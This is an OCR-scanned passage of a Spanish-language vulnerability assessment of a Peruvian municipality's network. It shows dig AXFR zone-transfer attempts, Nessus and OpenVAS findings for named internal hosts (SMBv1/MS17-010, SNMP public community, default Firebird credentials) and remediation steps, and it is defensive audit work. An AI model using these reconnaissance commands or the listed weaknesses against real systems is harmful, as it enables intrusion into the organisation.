configurado de una forma incorrecta y acepta las peticiones de otro servidor DNS

desconocido.

Mediante el parametro AXFR comprobamos si el servidor es vulnerable a una
transferencia de zona DNS, como el dominio munimoyobamba.gob.pe tiene dos

servidores DNS, haremos la consulta a los dos:
Comandos: dig AXFR munimoyobamba.gob.pe @NS2.RCP.NET .pe

dig AXFR munimoyobamba.gob.pe @NS.RCP.NET.pe

:~# dig AXFR munimoyobamba.gob.pe @NS2.RCP.NET.pe

; <<>> DiG 9.11.5-P4-3-Debian <<>> AXFR munimoyobamba.gob.pe @NS2.RCP.NET.pe
;: _alobal options: +cmd
; Transfer failed.

:~# dig AXFR munimoyobamba.gob.pe @NS.RCP.NET.pe.

; <<>> DiG 9.11.5-P4-3-Debian <<>> AXFR munimoyobamba.gob.pe @NS.RCP.NET.pe.
; -.alobal ontions-: +cmd

; Transfer failed

Podemos verificar que, efectivamente, la transferencia de zona en los dos

servidores DNS falld, lo cual nos indica que el servidor DNS esta bien configurado.



FASE 4: ANALISIS DE VULNERABILIDADES

El andlisis de vulnerabilidades consiste en el descubrimiento e identificacion de
debilidades en los sistemas y aplicaciones informéticas, para medir el nivel de
seguridad implementada que tienen y asi poder resistir hackeos o fallas. Asimismo,
el analisis de vulnerabilidades intenta brindar alternativas de solucién para poder

mitigar dichas debilidades.
Nessus

Nessus es un escaner de vulnerabilidades de red que detecta agujeros de
seguridad en computadoras y servidores, falta de actualizaciones en los sistemas
operativos y aplicaciones. En esta ocasion se utilizé la version gratuita de Nessus
y solo puede escanear hasta 16 direcciones IP. Para descargarlo se puede ir al

siguiente link: https://www.tenable.com/downloads/nessus

Se realizo el escaneo de red sobre 7 direcciones IP para detectar todas las posibles

vulnerabilidades que puedan estar expuestas los hosts.

Scans Settings

Seftings Credentials Plugins

il My Scans
B Al Scans BASIC .
fi Trash General Name Municipalidad
Schedule
Description

u Policies Notifications
Plugin Rules DISCOVERY
& Scanners ASSESSMENT Folder My Scans v

REPORT

ADVANGED Targets 172.16.0.1 172.16.0.2 172.16.0.4 172.16.0.5 172.16.0.6 172.16.0.11
JL Community 172.16.0.12

&/ Research

Los resultados después de realizar el escaneo de vulnerabilidades son los

siguientes:


https://www.tenable.com/downloads/nessus

172.16.0.1

B O > .

CRITICO ALTO MEDIO BAJO

Informacién del host:

Nombre del host: SPM1

IP:172.16.0.1

Sistema Operativo: Microsoft Windows Server 2012 Datacenter.

VULNERABILIDAD:

DNS Server Cache Snooping

Riesgo:
Medio.
Descripcion:

El servidor DNS remoto responde a las consultas de dominios de terceros que no

tienen establecido el bit de recursividad.

Esto puede permitir que un atacante remoto determine qué dominios se han
resuelto recientemente a través de este servidor de nombres y, por lo tanto, qué

hosts se han visitado recientemente.

Por ejemplo, si un atacante estaba interesado en saber si su organizacion utiliza
los servicios en linea de una institucion financiera en particular, podria utilizar este
ataque para crear un modelo estadistico sobre el uso de la comparfia de esa
instituciéon financiera. Por supuesto, el ataque también se puede utilizar para
encontrar patrones de navegacion web, servidores de correo externos y mucha

informacion que puede ser de gran importancia.

Nota: Si este es un servidor DNS interno al que no pueden acceder redes externas,

los ataques se limitarian a la red interna. Esto puede incluir empleados, consultores



y potencialmente usuarios en una red de invitados o conexion Wi-Fi si es

compatible.
Solucion:

Se deberia deshabilitar la recursividad en el servidor DNS, pero esto debe tomarse
en funcion por la cual esta configurado el servidor DNS. Si el servidor esta destinado
a repetir nombres de los clientes, la recursividad no puede deshabilitar. Por otro
lado, si el servidor esta destinado a devolver datos solo fuera de las zonas locales
y nunca debe repetirse o reenviarse en nombre de los clientes, entonces la

recursividad puede deshabilitarse (Microsoft, 2017).

VULNERABILIDAD:

SSL Cetrtificate Cannot Be Trusted

Riesgo:

Medio.

Descripcion:

Esto puede ocurrir por tres razones:

o« El sitio web esta utilizando un certificado autofirmado. Los certificados
autofirmados se pueden generar de forma gratuita, pero no proporcionan tanta

confianza como un certificado comercial.

o El sitio web est& utilizando un certificado SSL gratuito. Un par de autoridades
de certificacidon gratuitas emiten certificados SSL gratuitos, pero su certificado

raiz debe importarse manualmente a cada navegador para eliminar este error.

e EIl sitio web estd utilizando un certificado SSL confiable, pero le falta un
certificado de cadena / intermedio. La mayoria de los certificados confiables
requieren que instale al menos otro certificado intermedio / en cadena en el

servidor para vincular su certificado a una fuente confiable.
Solucion:

Comprar o generar un certificado SSL adecuado para este servicio.


https://www.sslshopper.com/article-how-to-create-a-self-signed-certificate.html
https://www.sslshopper.com/article-how-to-create-a-self-signed-certificate.html
https://www.sslshopper.com/article-free-ssl-certificates-from-a-free-certificate-authority.html

172.16.0.2

B O s

CRITICO ALTO MEDIO BAJO

Informacién del host:

Nombre del host: SPM3

IP:172.16.0.2

Sistema Operativo: Microsoft Windows Server 2012 Datacenter.

VULNERABILIDAD:

DNS Server Cache Snooping

Riesgo:
Medio.
Descripcion:

El servidor DNS remoto responde a las consultas de dominios de terceros que no

tienen establecido el bit de recursividad.

Esto puede permitir que un atacante remoto determine qué dominios se han
resuelto recientemente a través de este servidor de nombres y, por lo tanto, qué

hosts se han visitado recientemente.

Por ejemplo, si un atacante estaba interesado en saber si su organizacion utiliza
los servicios en linea de una institucion financiera en particular, podria utilizar este
ataque para crear un modelo estadistico sobre el uso de la compairiia de esa
institucién financiera. Por supuesto, el ataque también se puede utilizar para

encontrar patrones de navegacion web, servidores de correo externos y mas.

Nota: Si este es un servidor DNS interno al que no pueden acceder redes
externas, los ataques se limitarian a la red interna. Esto puede incluir empleados,
consultores y potencialmente usuarios en una red de invitados o conexion Wi-Fi si

es compatible.



Solucién:

Se deberia deshabilitar la recursividad en el servidor DNS, pero esto debe tomarse

en funcion por la cual esta configurado el servidor DNS. Si el servidor esté destinado

a repetir nombres de los clientes, la recursividad no puede deshabilitar. Por otro

lado, si el servidor esta destinado a devolver datos solo fuera de las zonas locales

y nunca debe repetirse o reenviarse en nombre de los clientes, entonces la

recursividad puede deshabilitarse (Microsoft, 2017).

VULNERABILIDAD:

SSL Certificate Cannot Be Trusted

Riesgo:

Medio.

Descripcion:

Esto puede ocurrir por tres razones:

El sitio web esta utilizando un certificado autofirmado. Los certificados
autofirmados se pueden generar de forma gratuita, pero no proporcionan
tanta confianza como un certificado comercial. Puede decirle a su havegador
gue confie en el certificado autofirmado o puede comprar (o pedirle al
propietario del sitio que compre) un certificado SSL confiable de

una autoridad certificadora .

El sitio web esta utilizando un certificado SSL gratuito. Un par de autoridades
de certificacion gratuitas emiten certificados SSL gratuitos, pero su
certificado raiz debe importarse manualmente a cada navegador para

eliminar este error.

El sitio web esta utilizando un certificado SSL confiable, pero le falta un
certificado de cadena / intermedio. La mayoria de los certificados confiables
requieren gue instale al menos otro certificado intermedio / en cadena en el

servidor para vincular su certificado a una fuente confiable.


https://www.sslshopper.com/article-how-to-create-a-self-signed-certificate.html
https://www.sslshopper.com/article-how-to-create-a-self-signed-certificate.html
https://www.sslshopper.com/certificate-authority-reviews.html
https://www.sslshopper.com/article-free-ssl-certificates-from-a-free-certificate-authority.html

Solucién:

Comprar o generar un certificado SSL adecuado para este servicio.

172.16.0.4

B .

CRITICO ALTO MEDIO BAJO

Informacién del host:
IP:172.16.0.4
Sistema Operativo: FreeBSD 11.2-Release

VULNERABILIDAD:

Network Time Protocol (NTP) Mode 6 Scanner

Riesgo:
Medio.

Descripcion:

El servidor NTP remoto responde a las consultas del modo 6. Los dispositivos que
responden a estas consultas tienen el potencial de ser utilizados en ataques de
amplificacion NTP. Un atacante remoto no autenticado podria explotar esto, a
través de una consulta de modo 6 especialmente disefiada, para causar una

condicion reflejada de denegacioén de servicio (DoS).

Solucion:

Realice una de las siguientes acciones:

1) Actualice su sistema vulnerable a un estable FreeBSD compatible o

lanzamiento / rama de seguridad (releng) con fecha posterior a la fecha de

correccion.

El servicio ntpd debe reiniciarse después de la actualizacién. Un reinicio es

recomendado, pero no requerido.



2) Para actualizar su sistema vulnerable a través de un parche binario:

Sistemas que ejecutan una version de LIBERACION de FreeBSD en el i386 o
amd64

Las plataformas se pueden actualizar a través de la utilidad freebsd-update (8):
# freebsd-update fetch

# freebsd-update install

3) Para actualizar su sistema vulnerable a través de un parche de cédigo fuente:

Se han verificado los siguientes parches para aplicarlos a los Lanzamientos de
FreeBSD.

a) Descargue el parche relevante de la ubicacion a continuacion y verifique el
firma PGP separada usando su utilidad PGP.

[FreeBSD 11.0]

# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-11.0.patch

# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-11.0.patch.asc
# gpg --verify ntp-11.0.patch.asc

[FreeBSD 10.x]

# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-10.x.patch

# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-10.x.patch.asc
# gpg --verify ntp-10.x.patch.asc

[FreeBSD 9.3]

# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-9.3.patch

# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-9.3.patch.asc
# gpg --verify ntp-9.3.patch.asc

b) Aplicar el parche. Ejecute los siguientes comandos como root:



#cd/usr/src
# patch </ ruta / a / patch
c) Recompile el sistema operativo usando buildworld e installworld como
descrito en https://www.FreeBSD.org/handbook/makeworld.html
Reinicie los daemons aplicables o reinicie el sistema.

172.16.0.5

B .

CRITICO ALTO MEDIO BAJO

Informacion del host:

Nombre DNS: srv.munimoyobamba.gob.pe
IP:172.16.0.5

Sistema Operativo: CentOS 6

VULNERABILIDAD:

Riesgo:
Critico.

Descripcion:
La version de PHP en el host esta desactualizado. La falta de soporte implica que
el proveedor no lanzara nuevos parches de seguridad para esa version de PHP.

Por lo tanto, existe la posibilidad de que contenga vulnerabilidades de seguridad.
Solucion:
Escribir los siguientes comandos para actualizar a la version 7.2

1. Instalar los repositorios
# wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-

6.noarch.rpm



# wget http://rpms.remirepo.net/enterprise/remi-release-6.rpm
# rpm -Uvh remi-release-6.rpm epel-release-latest-6.noarch.rpm

2. Instalar los Plugins

# yum install yum-utils

# yum-config-manager --enable remi-php72

3. Actualizar los paquetes de PHP. Cuando finalice el proceso, se tendra que
reiniciar Apache.

# yum update -y
4. Comprobar la version de PHP
# php -v

VULNERABILIDAD:

HTTP TRACE / TRACK Methods Allowed

Riesgo:
Medio.

Descripcion:

El  servidorweb remotoes compatible con los métodos TRACE y/o
TRACK. TRACE y TRACK son métodos HTTP que se utilizan para la depuracién
errores. En este caso se debe desactivar, ya que mediante él se puede ejecutar un
ataque web del tipo XSS: Cross-site scripting, un tipo de vulnerabilidad que puede

robar las cookies y otro tipo de informacién sensible del servidor web.
Solucion:
Desactivar los métodos TRACE y/o TRACK.

1. Ingresar alaruta

cd /etc/httpsd/conf



2. Una vez dentro de la carpeta, se realiza un backup del archivo
httpsd.config
cp httpd.conf httpd.conf.copy

3. Editar el archivo con el comando:

vi httpd.conf

4. Dentro del archivo httpd.conf, se presiona la tecla i para poder editarlo, se
debe ingresar la siguiente linea TraceEnable off

F you Wl Save yourse

# Do NOT add a slash at the end of the directory path.

ServerRoot "/etc/httpd"
[TraceEnable off

5. Presionar la tecla Esc para salir del modo insercion y se escribe: wq para

guardar los cambios y salir del archivo
6. Se debe reiniciar el servicio de apache

# letc/init.d/http restart

VULNERABILIDAD:

SSH Weak Algorithms Supported

Riesgo:
Medio.

Descripcion:
El host se ve afectado por una vulnerabilidad de divulgacion de informacion de tipo
man-in-the-middle, debido a un error en la implementacion del algoritmo de cifrado

RC4, ya que este sistema de cifrado es muy inseguro.



Solucién:

Quitar la compatibilidad con el algoritmo de cifrado RC4. Para dar solucion al

problema, editar el archivo /etc/sshd_config agregando estas dos lineas de cédigo:

e Ciphers aesl128-ctr,aes192-ctr,aes256-ctr, — agregar esta linea para
eliminar los algoritmos cbc vulnerables.

e MACs hmac-shal,umac-64@openssh.com,hmac-ripemd160 —agregar
esta linea para eliminar los algoritmos MAC vulnerables.

172.16.0.6

BN .

CRITICO ALTO MEDIO BAJO

Informacion del servidor web:

Nombre DNS: intranet.munimoyobamba.gob.pe
IP:172.16.0.6

Sistema Operativo: CentOS 6

VULNERABILIDAD:

Riesgo:
Critico.

Descripcion:
La version de PHP en el host esta desactualizado. La falta de soporte implica que
el proveedor no lanzara nuevos parches de seguridad para esa versiéon de PHP.

Por lo tanto, existe la posibilidad de que contenga vulnerabilidades de seguridad.
Solucion:

Escribir los siguientes comandos para actualizar a la version 7.2



1. Instalar los repositorios
# wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-

6.noarch.rpm
# wget http://rpms.remirepo.net/enterprise/remi-release-6.rpm
# rpm -Uvh remi-release-6.rpm epel-release-latest-6.noarch.rpm

2. Instalar los Plugins

# yum install yum-utils

# yum-config-manager --enable remi-php72

3. Actualizar los paquetes de PHP. Cuando finalice el proceso, se tendra que

reiniciar Apache.
# yum update -y

4. Comprobar la version de PHP
# php -v

VULNERABILIDAD:

SNMP Agent Default Community Name (public)

Riesgo:
Alto.

Descripcion:

El protocolo SNMP tiene como funcién, mejorar el intercambio de informacién de
administracion entre dispositivos de red, este servicio no debe estar expuesto si no
se hace uso de SNMP.

En la vulnerabilidad identificada es posible obtener el nombre de comunidad

predeterminado del servidor SNMP remoto, ya que es publico.



Un atacante puede usar esta informacidn para obtener mas conocimiento sobre el
host remoto o para cambiar la configuracion del sistema remoto (si la comunidad

predeterminada permite tales modificaciones).
Solucion:

Esta vulnerabilidad se soluciona cambiando el servicio SNMP de la version 1 a la
version 3, en el caso en que no se pueda hacer este cambio, este debe ser
deshabilitado.

Para deshabilitar el SNMP se debe ejecutar el siguiente comando.
/etc/init.d/snmpd stop — Para el servicio SNMP.

chkconfig snmpd off — No permite en el inicio del servidor cargar el servicio SNMP.

En caso de necesitar SNMP, debe instalar la version 3, para realizar este proceso

debe configurarse de la siguiente forma:

1) Instalar el paquete:

apt-get install snmpd

2) Bajar el servicio: se pude usar alguno de los dos comandos
/etc/init.d/snmpd stop

service snmpd stop

3) Crear usuario SNMP v3

net-snmp-create-v3-user -a MD5 -A userl123 [nombreUsuario]

4) Volver a correr el servicio: Se puede usar alguno de los dos comandos
/etc/init.d/snmpd start

service snmpd start

Para mayor informacion ir al siguiente enlace:

https://www.thegeekdiary.com/centos-rhel-6-install-and-configure-snmpv3/


https://www.thegeekdiary.com/centos-rhel-6-install-and-configure-snmpv3/

VULNERABILIDAD:

HTTP TRACE / TRACK Methods Allowed

Riesgo:
Medio.

Descripcion:

El  servidorweb remotoes compatible con los métodos TRACE y/o
TRACK. TRACE y TRACK son métodos HTTP que se utilizan para la depuracién
errores. En este caso se debe desactivar, ya que mediante él se puede ejecutar un
ataque web del tipo XSS: Cross-site scripting, un tipo de vulnerabilidad que puede

robar las cookies y otro tipo de informacién sensible del servidor web.
Solucion:
Desactivar los métodos TRACE y/o TRACK.

1. Ingresar alaruta
cd /etc/httpsd/conf

2. Una vez dentro de la carpeta, se realiza un backup del archivo
httpsd.config
cp httpd.conf httpd.conf.copy

3. Editar el archivo con el comando vi

vi httpd.conf

4. Dentro del archivo httpd.conf, se presiona la tecla i para poder editarlo, se
debe ingresar la siguiente linea TraceEnable off

F you Wl Save yourse

# Do NOT add a slash at the end of the directory path.

ServerRoot "/etc/httpd"
|TraceEnahle off

5. Presionar la tecla Esc para salir del modo insercion y se escribe:wq para

guardar los cambios y salir del archivo



6. Se debe reiniciar el servicio de apache
/etc/init.d/http restart

VULNERABILIDAD:

SNMP 'GETBULK' Reflection DDoS

Riesgo:
Medio.

Descripcion:

El servicio SNMP remoto esta respondiendo con una gran cantidad de datos a una
peticiéon ‘GETBULK’ con un valor mayor que el normal para ‘max-repetitions’. Un
atacante remoto puede utilizar este servidor SNMP para realizar un ataque de

denegacion de servicio distribuido reflejado hacia un host remoto arbitrario.
Solucién:

Desactivar el servicio SNMP en el host remoto si no es utilizado. De lo contrario,
restringir y supervisar el acceso a este servicio y considerar cambiar la comunidad

‘public’ predeterminada por otra.

VULNERABILIDAD:

SSH Weak Algorithms Supported

Riesgo:
Medio.

Descripcion:
El host se ve afectado por una vulnerabilidad de divulgacion de informacion de tipo
man-in-the-middle, debido a un error en la implementacion del algoritmo de cifrado

RC4, ya que este sistema de cifrado es muy inseguro.
Solucion:

Quitar la compatibilidad con el algoritmo de cifrado RC4. Para dar solucion al

problema, editar el archivo /etc/sshd_config agregando estas dos lineas de cédigo:



Ciphers aes128-ctr,aes192-ctr,aes256-ctr, — agregar esta linea para
eliminar los algoritmos cbc vulnerables
MACs hmac-shal,umac-64@openssh.com,hmac-ripemd160 —agregar esta

linea para eliminar los algoritmos MAC vulnerables

VULNERABILIDAD:

SSL Certificate Cannot Be Trusted

Riesgo:

Medio.

Descri

pcion:

Esto puede ocurrir por tres razones:

Soluci

El sitio web esta utilizando un certificado autofirmado. Los cuales se pueden
generar de forma gratuita, pero no proporcionan tanta confianza como un
certificado comercial. Puede decirle a su navegador que confie en el
certificado autofirmado o puede comprar (o pedirle al propietario del sitio que

compre) un certificado SSL confiable de una autoridad certificadora .

El sitio web esta utilizando un certificado SSL gratuito. Un par de autoridades
de certificacion gratuitas emiten certificados SSL gratuitos, pero su
certificado raiz debe importarse manualmente a cada navegador para

eliminar este error.

El sitio web esta utilizando un certificado SSL confiable, pero le falta un
certificado de cadena / intermedio. La mayoria de los certificados confiables
requieren gue instale al menos otro certificado intermedio / en cadena en el

servidor para vincular su certificado a una fuente confiable.

on:

Comprar o generar un certificado SSL adecuado para este servicio.


https://www.sslshopper.com/article-how-to-create-a-self-signed-certificate.html
https://www.sslshopper.com/certificate-authority-reviews.html
https://www.sslshopper.com/article-free-ssl-certificates-from-a-free-certificate-authority.html

172.16.0.11

B t .

CRITICO ALTO MEDIO BAJO

Informacién del host:

Nombre Netbios: LICENCIAS001

IP:172.16.0.11

Sistema Operativo: Microsoft Windows 7 Professional

VULNERABILIDAD:

SMB Signing not required

Riesgo:
Medio.

Descripcion:
La firma es necesaria en el servidor SMB, porque un atacante no autentificado
podra aprovecharse de esta configuracion para realizar ataques man-in-the-middle

contra el servidor SMB.
Solucion:
Modificar el registro para cambiar la configuracion.

e Presionar la tecla control y la letra r y escribir regedit, presionar OK.

=" Run @

=  Typethe name of a program, folder, document, or Internet
resource, and Windows will open it for you,

Open:  [EEED -

| ok || Cancel || Browse.




Para

Modificar la llave de registro ubicada
en HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanMa
nServer\Parameters\requiresecuritysignature la cual por defecto estara

en 0 (inactivo) se debera dejar en 1 (activo).

ﬁ Registry Editor

File Edit Wiew Favorites Help

= || Mame

ab| (Default)
‘.‘.'o']ﬂxdjustedNuIISessiDnF'ipes
‘.‘.ﬂautudiscunnect

‘.‘.'6] EnablefuthenticatellserSharing
ﬁh‘]enablefurcedluguff

‘.".'1'1] enablesecuritysignature
%) Guid

‘.‘.ﬂLmannnunce
aﬂNuIISessiDnPipes

‘.‘.'6] restrictnullsessaccess

ab| ServiceDll

24| ServiceDlIUnloadOnStop

) Size

m

Type

REG_SZ
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_BIMNARY
REG_DWORD
REG_MULTL 52
REG_DWORD
REG_DWORD
REG_EXPAMD_57
REG_DWORD
REG_DWORD

Data

(walue not set)
000000003 (3)
00000000 (15)
000000001 (1)
000000001 (1)
000000000 (0]
a2 35 2f 97 98 Of ab 4995 ff 6b db 97 1 ad 4b
000000000 (0]

000000000 {0
000000001 (1)
FeSystemRoot ¥ system32isrvsve.dil
000000001 (1)
000000001 (1)

Dar doble clic y modificar el valor dejando activo el registro con el nimero 1.

@ Registry Editor

File Edit View Favorites Help

= [ Mame

ab| (Default)

Type
REG_57
REG DWORD

Data

(value not set)
000000003 (3]

‘-‘-'5]Adjusted’NuIISessinnPines
‘.‘.'6] autodisd
4 EnableA
5% enablefg

24 enablesq

14 Guid Value data:

Walue name:

Edit DWORD (32-bit) Value

requiresecuntysignature

Base

%4 Lmanno 1
ab| NullSess
B requires
7] restrictn
ab| Servicel)

m

@ Hexadecimal

(7 Decimal

=

95 ff6b db 97 1 ad 4b

OK

] [ Cancel ]

m32hsrvsve.dll

) Service

) Size

Moo O T T T

L e e =

REG_DWORD

T OT L LT

000000001 1)

mayor informacién

ir

al siguiente enlace:

https://shieldnow.co/2015/02/05/smb-signing-disabled/



https://shieldnow.co/2015/02/05/smb-signing-disabled/

172.16.0.12

B .

CRITICO ALTO MEDIO BAJO

Informacién del host:

Nombre Netbios: RODRIGO-VAIO

IP: 172.16.0.12

Sistema Operativo: Microsoft Windows 7 Home

VULNERABILIDAD:

Riesgo:

Critico.

Descripcion:

Existen mudltiples vulnerabilidades de ejecuciéon remota de cddigo en
Microsoft Server Message Block 1.0 (SMBv1) debido al manejo inadecuado
de ciertas solicitudes. Un atacante remoto no autenticado puede explotar
estas vulnerabilidades, a través de un paquete especialmente disefiado,

para ejecutar codigo arbitrario.

Existe una vulnerabilidad de divulgacion de informacion en Microsoft Server
Message Block 1.0 (SMBv1) debido al manejo inadecuado de ciertas
solicitudes. Un atacante remoto no autenticado puede explotar esto, a través
de un paquete especialmente disefiado, para revelar informacion

confidencial.



ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, y
ETERNALSYNERGY son exploits (cédigos maliciosos) que se aprovechan de la
vulnerabilidad en SMB v1.

WannaCry y Petya son ransomware que encriptan toda la informacién de una

computadora y piden una cantidad de dinero para poderla liberar.
Solucion:

Ejecutar Windows Update para obtener el parche de seguridad correspondiente a
la vulnerabilidad de SMB v1.

Para mayor informacién ir al siguiente enlace: https://docs.microsoft.com/en-
us/security-updates/SecurityBulletins/2017/ms17-010?redirectedfrom=MSDN

VULNERABILIDAD:

Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock)

(uncredentialed check)

Riesgo:
Medio.
Descripcion:

Existe una vulnerabilidad de elevacidn de privilegios en los protocolos remotos de
Administrador de cuentas de seguridad (SAM) y Autoridad de seguridad local
(Politica del dominio) (LSAD) cuando aceptan niveles de autenticacion que no
protegen adecuadamente estos protocolos. La vulnerabilidad se debe a la forma en
gue los protocolos remotos SAM y LSAD establecen el canal de llamada a
procedimiento remoto (RPC). Un atacante que aprovechara esta vulnerabilidad
podria obtener acceso a la base de datos SAM, en la cual se almacena las

contrasefas de los usuarios en un formato hash.
Solucién:

Actualizar el sistema mediante la herramienta de Windows Update para que se

descarguen los parches de seguridad.


https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/ms17-010?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/ms17-010?redirectedfrom=MSDN

Para mayor informacion ir al siguiente enlace: https://support.microsoft.com/en-
us/help/3148527/ms16-047-security-update-for-sam-and-lsad-remote-protocols-
april-12-20

VULNERABILIDAD:

SMB Signing not required

Riesgo:
Medio.

Descripcion:
La firma es necesaria en el servidor SMB, porque un atacante no autentificado
podra aprovecharse de esta configuracion para realizar ataques man-in-the-middle

contra el servidor SMB.
Solucion:
Modificar el registro para cambiar la configuracion.

o Presionar la tecla control y la letra r y escribir regedit, presionar OK.

=" Run @

=== Typethe name of a program, folder, document, or Internet
resource, and Windows will open it for you,

Open: | [T -

[ QK l | Cancel | | Browse...



https://support.microsoft.com/en-us/help/3148527/ms16-047-security-update-for-sam-and-lsad-remote-protocols-april-12-20
https://support.microsoft.com/en-us/help/3148527/ms16-047-security-update-for-sam-and-lsad-remote-protocols-april-12-20
https://support.microsoft.com/en-us/help/3148527/ms16-047-security-update-for-sam-and-lsad-remote-protocols-april-12-20

e Modificar la llave de registro ubicada
en HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanMan
Server\Parameters\requiresecuritysignature la cual por defecto estara

en 0 (inactivo) se debera dejar en 1 (activo).

ﬁ Registry Editor
File Edit View Favorites Help

“ || Mame Type Data
ab| (Default) REG_SZ (value not set)
‘.’.'ﬂAdjustedNuIISessinnPipes REG_DWORD 000000003 (3)
‘-’-'ﬂ autodisconnect REG_DWORD (0:0000000f (15)
‘-’-'ﬂ EnablefuthenticatelUserSharing REG_DWORD 000000001 (1)
#4] enableforc edlogoff REG_DWORD 000000001 (1)
o) enablesecuritysignature REG_DWORD (000000000 (0)
%4 Guid REG_BIMARY a2 35 2f 97 98 Of ab 4995 ff 6b db 97 1 ad 4b
‘.’.'ﬂ Lmannounce REG_DWORD 000000000 (0)
a_'ﬂ Mull5essionPipes REG_MULTI_SZ
REG_DWORD  0x00000000 (0)
‘-’-'ﬂ restrictnullsessaccess REG_DWORD 000000001 (1)
a_'ﬂ Servicell REG_EXPAMND_5Z %65ystemRoot?e\system32\srvsve.dll

= | ServiceDllUnloadOnStop REG_DWORD 000000001 (1)
5] Size REG_DWORD 000000001 (1)

« Dar doble clic y modificar el valor dejando activo el registro con el nimero 1.

@ Registry Editor

File Edit Favorites  Help

View

* 1| Mame

ab| (Default)

Type
REG_S5Z
REG DWORD

Data

(value not set)
000000003 {31

ve| AdjustedMullSessionPipes

o) autodisg

74 Lmanno

1]
=

Value name:

Edit DWORD (32-bit) Value

requiresecuntysignature

Value data:

Base

=

95 ff6b db 87 c1 ad 4b

b

Lol

_!!ﬂ
L]
1L
L]

ab

m

requires

restrictn

1

(@ Hexadecimal

() Decimal

0K

] [ Cancel ]

m32isrvsve.dll

Senvice

e Size

]
]
] Servicel]
]
]

Moo OT = T T T

L= R

REG_DWORD

TAUOOOOO L LT

000000001 (1)

Para mayor informacion ir al siguiente enlace:
https://shieldnow.co/2015/02/05/smb-signing-disabled/



https://shieldnow.co/2015/02/05/smb-signing-disabled/

OpenVAS

Es un sistema integral de evaluacion de vulnerabilidades que puede detectar
problemas de seguridad en la red informatica, servidores y aplicaciones web. El

escaner es de software libre y codigo abierto.

El escaneo se ejecutd en 8 direcciones IP. En la imagen se muestra los hosts que
se analizaron, el estado en que se encuentran, en este caso, estan finalizados y la
fecha del analisis de las respectivas vulnerabilidades analizadas y evaluadas.
En este caso solo se describe las vulnerabilidades en 5 hosts, ya que los 3

restantes, tienen las mismas vulnerabilidades de los anteriores y para evitar la

redundancia se los omitié poner su descripcion.

Dashboard Assets Secinfo
e
172.16.0.1 TTTDone 1(1) Sep 5 2019
172.16.0.12 T Done T 1(1}) Sep 5 2019
172.16.0.151 —pone 1(1) Sep 5 2019
172.16.0.17 T Done 1(1) S5ep 5 2019
172.16.0.2 TTTTTDone 1(1) Sep 5 2019
172.16.0.5 T Done 1(1) S5ep 5 2019
172.16.0.6 T Done 1(1) Sep 5 2019
172.16.0.91 1(1) Sep 5 2019

En la topologia se observa los hosts que estan en color rojo, significa que se
encontraron vulnerabilidades con un riesgo alto, mientras que el de color naranja

indica riesgo medio.

- Hosts topology

160.151

172.16.0.5
172.16.0.6

172.16.0.1 172.16.017

172.16.0.12




Para mayor informacion acerca de las vulnerabilidades, se muestra los resultados

correspondientes:

172.16.0.1

B ° .

CRITICO ALTO MEDIO BAJO

Informacién del host:

Nombre del host: spml

IP:172.16.0.1

Sistema Operativo: Microsoft Windows Server 2012 Datacenter.

VULNERABILIDAD:

Riesgo:
Critico.
Descripcion:

Es posible conectar al servicio remoto de base de datos usando credenciales por

defecto.

Solucion:

Cambiar la contrasefia por defecto usando la gsec management tool.
Opcidn 1: restablecer una contrasefa

Funciona en Firebird 2.5 y superior

Conéctese a una base de datos con SYSDBA (u otro usuario con funcién de

administrador en la base de datos de seguridad) y use:
ALTER USER <username> SET PASSWORD '<new password>"'

Sin embargo, esto probablemente no sea una opcion en su caso.



Opcidn 1.1. restablecer con conexion integrada (sin contrasefia)

Funciona en Linux para Firebird 2.5 o superior, en Windows requiere Firebird 3.0

0 superior.

Detenga el servidor Firebird y use ISQL para conectarse a la base de datos en

modo incrustado (que no requiere contrasefia):
isql -user sysdba <database>

Con una instalacion predeterminada de  Firebird 3, puede
usar employeefor <database>, que usara la base de datos de ejemplo de

empleado.

Modifique la contrasefia como se describe anteriormente. Alternativamente,
intente reemplazar sysdbacon el nombre de usuario real en la linea de comandos

isql.
Inicie el servidor Firebird nuevamente.
Opcidn 2: use gsec para cambiar la contrasefa

Funciona en Linux para todas las versiones, en Windows esto solo funciona para

Firebird 3.0 y superior.

Tenga en cuenta que gsec esta en desuso desde Firebird 3 y puede eliminarse de

futuras versiones de Firebird.

Detenga el servidor Firebird, abra la linea de comandos y, en la carpeta de

instalacion de Firebird, haga lo siguiente:
gsec -user sysdba

y en el indicador gsec

modify <username> -pw <new password>
o si el usuario aun no existe:

add <username> -pw <new password>

Inicie el servidor Firebird nuevamente.



Opcion 3: reemplazar la base de datos de seguridad

La mayoria de estos pasos también se aplican si esta utilizando una nueva
instalacién de Firebird; simplemente omita el reemplazo de la base de datos de

seguridad.

Detenga el servidor Firebird y haga una copia de su security3.fdb actual como

respaldo.

Obtenga un security3.fdb predeterminado para su plataforma (por ejemplo,
descargue un zipkit de la pagina de descarga de Firebird 3 ) o use un security3.fdb
con una contrasefa conocida, y reemplace su security3.fdb actual con esta version

predeterminada. No inicies Firebird todavia.

La contrasefa predeterminada para sysdba es normalmente 'masterkey’, pero en
Firebird 3, el security3.fdb predeterminado solo contiene a este usuario para el
mecanismo de autenticacion heredado, que esta deshabilitado en una instalacion
predeterminada de Firebird 3. Para agregar un usuario sysdba, use una conexion
integrada a cualquier base de datos y cree una cuenta sysdba. En el simbolo del

sistema desde la carpeta de instalacion de Firebird, ejecute:
isgl -u sysdba <database>

Dentro de ISQL ejecutar:

create user sysdba password '<sysdba password>'

commit;

Para agregar otro usuario, conéctese usando SYSDBA, similar al paso 2 anterior,

a cualquier base de datos y ejecute

create user <username> password '<new password>'
commit;

Y salir isql (con quit;)

